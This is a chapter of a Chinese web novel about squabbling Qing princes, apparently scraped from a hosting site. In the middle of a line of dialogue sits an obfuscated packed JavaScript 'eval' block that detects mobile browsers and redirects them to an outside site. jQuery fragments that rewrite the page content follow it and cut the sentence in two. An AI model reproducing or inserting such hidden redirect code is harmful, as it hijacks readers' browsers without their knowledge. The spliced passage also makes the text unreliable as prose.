19.第 19 章

作品:《三阿哥又在发癫

    三阿哥蹭了一顿饭,告别了可敬可亲的嫂嫂,然后不知去哪里躲着了。


    柏江提着那串琉璃珠子穿成的风铃,去二公主院子里避难。


    二公主拨弄着琉璃珠,“这算什么,收留你的住宿资费?你们家三爷又闹出什么新闻了,今天不是他重新上学的日子吗?”


    柏江垂头答道:“今天早上三爷提着一个大包袱去了演武场,还不许奴才跟着伺候。没过多久他就回来了,吩咐奴才出去躲几天。奴才情急之下不停地追问,三爷被闹得不耐烦了才告诉奴才,他把大阿哥惹生气了,这几日我们主仆都得出去躲着,不然就要被大阿哥打死。”


    二公主扶额,感觉自己要厥过去了,“他惹谁不好,为什么要去惹大哥?”


    皇室规矩多,讲究上下尊卑,长幼有序。大阿哥是长子,除了太子,哪个弟弟妹妹他都能管教,谁也挑不出错来。


    抛开规矩不谈,大阿哥也是非常受宠的皇子。自古以来都是长子和老幺受宠,生在中间的孩子刚受宠没两年,很快又有更小的弟妹出生,能抢来多少宠爱?


    宫里就是这样,一个是讲规矩,再一个是看皇上的宠爱,这两样大阿哥都占全了。


    二公主觉得头痛,上次惹了太子还不够,这次又去招惹大阿哥。三弟,你放着四阿哥五阿哥不去欺负,为什么挑一个最难搞的?我劝你在外头不要委屈了自己,但你也不能委屈别人啊!


    二公主站起身问道:“你知道大阿哥在哪吗?我去代三阿哥赔礼道歉。”


    柏江苦笑,“大阿哥带人守在三阿哥院子里,听说连晌午饭都没吃。”


    “那三阿哥此时在何处?他没被抓?”


    柏江:“三阿哥说他去大福晋那里蹭一顿饭,奴才想,如果没有特殊状况,三阿哥此刻刚吃饱。”


    二公主:“……”


    很好,大阿哥饿着肚子堵人,被堵的那个在大阿哥家里吃香喝辣……


    二公主微笑着慢慢地坐了回去,“很好,我就不替他赔罪了,我想兄弟姐妹虽然要好,但还是要保持距离。”


    二公主心道:正在爆发中的大哥,我可弄不了,麻烦弟弟自求多福吧!


    皇上那边也得了消息,文武先生都来告状了。


    教习师傅忙了一上午,没抓到三阿哥,就跟这位小爷说了一句话。文化课的先生更惨,他连三阿哥的人影都没见着。


    教习师傅不敢添油加醋,他把事情经过原原本本讲出来,就见皇上脸色越来越难看,教文化课的先生在一旁也跟着胆战心惊。


    皇上大为光火,三阿哥一言一行全在他雷点上蹦迪,他恨不得立刻把三阿哥抓过来痛打一顿。


    皇上从小就受礼教、人伦、规矩的约束,他也用这些东西去约束别人。他认为幼弟尊敬长兄,这是像打雷下雨一样自然的事情。大阿哥不过说他两句,三阿哥就跟长兄犟嘴,还拍兄长脑门,这是叛逆!就该打!


    这还跟太子那天的事不一样,那日是太子多事,三阿哥犯病也是安安静静的,太子偏去推他。但今天大阿哥说话都是很中肯的,并没有错处。


    但话又说回来,不管谁对谁错,三阿哥脑子坏掉了,他不懂事,皇上打了他又能怎样,三阿哥下次还敢。讲道理也讲不通,他清醒的时候会听话,糊涂的时候管你说过什么。


    皇上强压下怒火,心里后悔极了,觉得把三阿哥放出来是个极其错误的决定。


    教习师傅壮着胆子提出建议,“奴才以为,三阿哥需要哄着顺着,他对别人的话很敏感,最好还是给他单独安排一个场地。”


    他看了一眼教文化课的先生。


    “就像学经史子集一样,有一个单独的屋子,也不需要伴读陪着。”


    皇上也想这么办,但这与他的初衷不符。


    太皇太后认为家里已经有这样的孩子了,那就得想办法包容,大家伙都要与他磨合,找出一个彼此都适应的相处模式。上学就是创造一个他们兄弟相处的机会,如果单单只为了让三阿哥上课,没必要将他放出来?


    “此事不妥!”皇上说道,“三阿哥必须学会与人相处,只有他一人读书是暂时的,回头朕会挑选几个好伴读放过去。朕把你们挑选出来,不只是让你们教他文学武功,更重要的是教会他做人的道理。你们拿的俸禄都比别的先生多,怎能做事不尽心?”


    文武师傅都觉得冤,他们哪敢不尽心,可是连三阿哥人影都找不到,他们怎么尽心啊?


    皇上接着说道:“此事朕已经知晓,你们照常教书,其他的不用管,退下吧!”


    皇上打发走两个先生,生了会儿闷气,最后决定先将此事按下,暂且不提,看看后续的发展再做打算。他知道自己的大阿哥脾气暴烈,他要看看这个脾气糟糕的儿子会怎样处理今天发生的事。


    晚上,大阿哥一身疲惫地回到自己院里。大福晋帮他换上宽松的家常衣裳,大阿哥直嚷饿,催着大福晋端饭来。


    “哪有饭?宫里一天两顿,家里只有点心夜宵,你对付吃点吧!”


    “又是点心……”大阿哥中午就吃的甜点心,勉强垫垫肚子罢了,晚上他想吃点实在的,咸味的饭菜。


    “那我让膳房煮碗面送过来好不好?”


    “可以,再让他们切两盘羊肉送过来。”


    大福晋吩咐下去,转头问大阿哥,“今天怎么这样饿?中午吃了什么?下面的人怎么伺候的,还能饿着你?”


    大阿哥摆手,“嗨,别提了,中午根本就没吃,气都气饱了。”


    大福晋抿着嘴偷笑,“大阿哥为什么生气,我知道!”


    “你在院子里待着,你咋知道?”


    大福晋拍手笑道:“三弟中午在这吃的,哈哈哈!”


    大阿哥大怒,拍着桌子乱嚷,“你还笑!你还给他饭吃!你应该立刻把他打出去!”


    大福晋笑着拍他的后背,给他顺顺气。


    “别气,别气,我笑咱家大爷那么厉害,今天终于遇到对手了!好阿哥,您先别急着骂人,先听我仔细跟你说。”


    “好!你说,我倒听听你能说出什么花来!”


    大福晋扭着帕子,在屋里慢慢踱步。


    “今日这事啊!我也替大爷生气,哪有弟弟这样不知好歹,不服管教的?”


    并没有,我笑着幸灾乐祸来着。


    “但我转念一想,大爷受了委屈,未必不能得到好处。”


    也不是,我就是觉得三阿哥挺有趣,不想让你欺负弟弟。


    “哪有好处?”大阿哥气得拍自己的脸,“当着众人的面,我的脸都丢尽了!”


    大福晋转身坐在他旁边,依偎在他健硕的臂膀上。


    “大阿哥想想端午那日,太子推了三阿哥,转头皇上就放三阿哥出来了,据说还是太皇太后的主意。我隐约听说,皇上还因为那件事训斥了太子,虽然不知真假,但咱们可以看出来,皇上是很在意三阿哥的。”


    大阿哥握住妻子的手,“这话很是。”


    “大阿哥再想想,皇上嫌你鲁莽,脾气大,你何不借着这个机会,改善你在皇上心中的印象呢?三阿哥是病人,您作为哥哥,理应包容,这不就显出您的友爱了!”


    大阿哥很纠结,“你说的很对,但就这样算了,我心里别不过那股劲。老三是病了又怎样,他就是欠教训!”


    大福晋见不管用,又往上加了一把火。


    “按理说,你打三阿哥一顿,也不算过分。但太子容不下三阿哥,您也容不下吗?”


    大阿哥只觉得脑子瞬间一清,对啊!我做人不能比太子差劲啊!太子不肯善待兄弟,我肯,皇阿玛和太皇太后知道了也会更喜欢我!


    他握住大福晋的手,用力晃了晃,“果然是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471180|169172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家有贤妻,如虎添翼!不过……我今日堵了老三半天,现在还有太监在老三院子里守着呢!这事要是让皇阿玛知道了,我不好解释啊!”


    前脚还在堵人,后脚就轻轻放过了,大阿哥觉得这不符合逻辑,若皇上问起,他没办法解释。


    “这也简单!若是明天能见到三阿哥,您弹他几个脑瓜崩,或是在他屁股上抽两下,然后表明自己不再计较就是了。该指点照样指点,该骂人照常骂人,只是不要认真跟他生气就完了。您一直是直来直去的性子,若是温温柔柔地说,为兄不打你,为兄待你好,那就显得假了。”


    “很是!很是!就按你说的办!”


    大福晋拍拍丈夫的肩膀,“好了,不说这些了,我去看看饭菜准备得怎么样了,你吃了东西早点睡,明天还有的忙呢!”


    大福晋这边劝住了大阿哥,三阿哥没敢回自己的院子,跑去四阿哥那里借宿。


    “好心的人类啊!请收留我一晚吧!”三阿哥真诚地看着弟弟,“作为回报,我可以送你一座金矿。当然了,我只是说说而已,因为那玩意我也没有。”


    四阿哥忙把他拉进屋里,“你低声些,你打了大哥,他的奴才还在你院子里等你呢!”


    三阿哥点点头,“是的,他私闯民宅,请帮我报官。”


    四阿哥摇了摇头,算了,说不通。


    “这一天你在哪躲着了?你饿不饿,要不要吃东西?”


    “我不饿,我不吃东西,我就是来找你困觉。”


    “困觉?困觉是什么意思?”四阿哥不懂这句方言。


    “没什么意思,有睡衣吗?有被子吗?有小熊玩偶吗?有客房服务吗?我对酒店的要求很高的!”


    “又说那些听不懂的话!”四阿哥老气横秋地叹气,他喊来宫女太监,“服侍三阿哥洗漱,今晚三阿哥跟我一起睡。”


    兄弟俩洗漱完上床躺好,苏培盛吹熄了灯,去外间守夜。


    四阿哥轻声问道:“三哥,你现在是清醒的吗?”


    “嗯,非常清醒。”


    四阿哥忙道:“趁着三哥清醒,我厚着脸皮劝你几句,若是说得重了,三哥别生我的气。”


    三阿哥没吭声,四阿哥不管他是什么反应,他觉得自己是对的,便要直接说。


    “三哥,我觉得今天的事,是你做的不对。大哥是长兄,他说你两句,你怎么好顶嘴?再者大哥也没说错,我们去校场是习武去的,你弄个吊床不像话!”


    三阿哥还是不吭声,四阿哥很执着,继续说教。


    “可能是跟三哥住得近,我自觉还算了解你,我总觉得,今天三哥不是很糊涂。”


    应该是一半真糊涂,一半装糊涂。


    “皇阿玛和太皇太后没有放弃你,三哥也不该放弃自己。你要打起精神,哪怕心里不高兴,也得忍一忍。等你习惯了,也就好了,大家一看,你还是正常人。你病过的事情也就翻篇了,再不敢有人提起。”


    三阿哥听他啰嗦半天,心里冒起火来,你是谁,你又懂我了?


    他豁然起身,“你在教我做事?”


    “我不敢,只是觉得你这样不对。”


    三阿哥又重复,“你在教我做事?”


    “我没有那个意思,只是劝劝三哥,我希望你能好起来。”


    三阿哥装起复读机,“你在教我做事?”


    “我、我没有……”四阿哥也是执着,他也重复起自己的话,“我就是希望你能好。”


    三阿哥捏住他的嘴唇,“小嘴巴,闭起来!”


    说完他砰的一声躺在床上,背对着四阿哥睡了。


    四阿哥摇了摇头,心里暗骂三哥,骂他朽木不可雕。


    三阿哥像大鲤鱼似的噗通一下又翻身回来,扯走了四阿哥的被子。


    爱讲道理的臭屁小孩,看我把你冻得流大鼻涕!